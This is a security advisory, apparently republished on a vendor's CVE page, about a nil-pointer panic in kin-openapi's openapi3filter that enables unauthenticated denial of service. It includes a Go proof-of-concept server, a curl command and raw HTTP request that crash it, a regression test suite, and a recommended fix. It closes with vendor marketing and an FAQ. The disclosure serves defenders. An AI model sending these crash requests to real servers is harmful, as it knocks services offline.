Summary
kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.
Details
Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().
Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):
case propType.Is("array"):
items := propSchema.Value.Items.Value // Items == nil → panic
This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).
The same nil Items also crashes:
| Path | Location | Trigger |
|---|---|---|
MultipartBodyDecoder |
req_resp_decoder.go ~1564 → 1579 |
multipart/form-data part named like the array property |
parseArray → parsePrimitive |
req_resp_decoder.go ~1129 / 1151 |
Array-typed response headers via ValidateResponse, and path/cookie array params |
Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.
Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:
case propType.Is("array"):
+ if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+ return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+ }
items := propSchema.Value.Items.Value
Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.
PoC
Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.
1. Spec, OpenAPI 3.1 operation with urlencoded body and type: array property without items:
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
2. E2E program, net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:
package main
import (
"fmt"
"log"
"net/http"
"strings"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
log.Fatal(err)
}
if err := doc.Validate(loader.Context); err != nil {
log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
}
fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc)
if err != nil {
log.Fatal(err)
}
// Direct call (no net/http recover): proves the library itself panics.
req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pp, _ := router.FindRoute(req)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("DIRECT_PANIC: %v\n", r)
}
}()
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Println("DIRECT_PANIC: none (unexpected)")
}()
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok\n"))
})
addr := "127.0.0.1:8085"
fmt.Printf("listening on http://%s/f\n", addr)
fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
log.Fatal(http.ListenAndServe(addr, mux))
}
3. Observed output (go run .):
SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f
Then:
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
Server log:
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …
Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.
Attack request:
POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
tags=a
(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)
4. Regression / multi-surface test suite, save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:
package openapi3filter_test
import (
"bytes"
"context"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/upload:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/hdr:
get:
responses:
'200':
description: ok
headers:
X-Tags:
schema: {type: array}
`
func catchPanic(fn func()) (panicValue any) {
defer func() { panicValue = recover() }()
fn()
return nil
}
func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
require.True(t, schema.Type.Is("array"))
require.Nil(t, schema.Items)
}
func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
require.NoError(t, err)
require.Error(t, doc.Validate(loader.Context))
}
func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(multipartSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
require.NoError(t, w.WriteField("tags", "a"))
require.NoError(t, w.Close())
req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
require.NoError(t, err)
req.Header.Set("Content-Type", w.FormDataContentType())
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
require.NoError(t, err)
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
RequestValidationInput: &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
},
Status: http.StatusOK,
Header: http.Header{"X-Tags": []string{"a,b"}},
Body: io.NopCloser(strings.NewReader("")),
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var panicCount int
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
defer func() {
if recover() != nil {
panicCount++
http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
}
}()
route, pathParams, err := router.FindRoute(r)
require.NoError(t, err)
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
const n = 5
for i := 0; i < n; i++ {
resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
require.NoError(t, err)
_, _ = io.ReadAll(resp.Body)
_ = resp.Body.Close()
require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
}
require.Equal(t, n, panicCount)
}
func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
const attempts = 50
panics := 0
for i := 0; i < attempts; i++ {
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
if catchPanic(func() {
_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}) != nil {
panics++
}
}
require.Equal(t, attempts, panics)
}
Observed results on the vulnerable tree:
- 3.1 accepts the schema (
Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with
nil pointer dereference - 50/50 panic rate (100% deterministic)
- E2E httptest server: 5/5 POSTs panic inside
ValidateRequest→ HTTP 500
Impact
- Type: NULL Pointer Dereference → unauthenticated remote denial of service.
- Who is impacted: applications using
github.com/getkin/kin-openapi/openapi3filterto validate requests/responses against OpenAPI 3.1 documents that contain anitems-lesstype: arrayin a urlencoded or multipart body property, or an array-typed response header (or otherparseArraysurfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded,doc.Validate()does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
- Consequence: deterministic panic on every request to the operation. With stock
net/http, the server logshttp: panic servingand aborts the connection; without per-request recover (common outside purenet/httphandlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing
items); JSON request bodies (different decoder path that does not hit thisItems.Valueinspection).
The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.
CVE-2026-97394 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.143.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-97394? CVE-2026-97394 is a high-severity null pointer dereference vulnerability in github.com/getkin/kin-openapi (go), affecting versions >= 0.136.0, < 0.143.0. It is fixed in 0.143.0. The application dereferences a null pointer, causing a crash.
- How severe is CVE-2026-97394? CVE-2026-97394 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/getkin/kin-openapi are affected by CVE-2026-97394? github.com/getkin/kin-openapi (go) versions >= 0.136.0, < 0.143.0 is affected.
- Is there a fix for CVE-2026-97394? Yes. CVE-2026-97394 is fixed in 0.143.0. Upgrade to this version or later.
- Is CVE-2026-97394 exploitable, and should I be worried? Whether CVE-2026-97394 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-97394 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-97394? Upgrade
github.com/getkin/kin-openapito 0.143.0 or later.